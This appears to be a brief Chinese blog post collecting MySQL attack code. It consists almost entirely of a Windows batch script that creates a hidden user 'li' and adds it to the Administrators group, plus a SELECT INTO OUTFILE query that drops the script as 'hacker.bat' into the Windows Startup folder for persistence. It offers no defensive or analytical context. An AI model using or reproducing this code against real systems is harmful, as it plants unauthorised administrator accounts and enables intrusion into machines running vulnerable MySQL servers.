mysql相关攻击代码收集

时间:2024-01-13 14:21:20

1.批处理文件内容

@echo off
net user li /add
net user li /active:yes
net localgroup Administrators li /add

2.生成bat文件的SQL语句

    SELECT * INTO OUTFILE 'C://Documents and Settings//Administrator//「开始」菜单//程序//启动//hacker.bat'
FIELDS TERMINATED BY ' '
ENCLOSED BY ' '
ESCAPED BY ' '
LINES TERMINATED BY '/n'
FROM aa;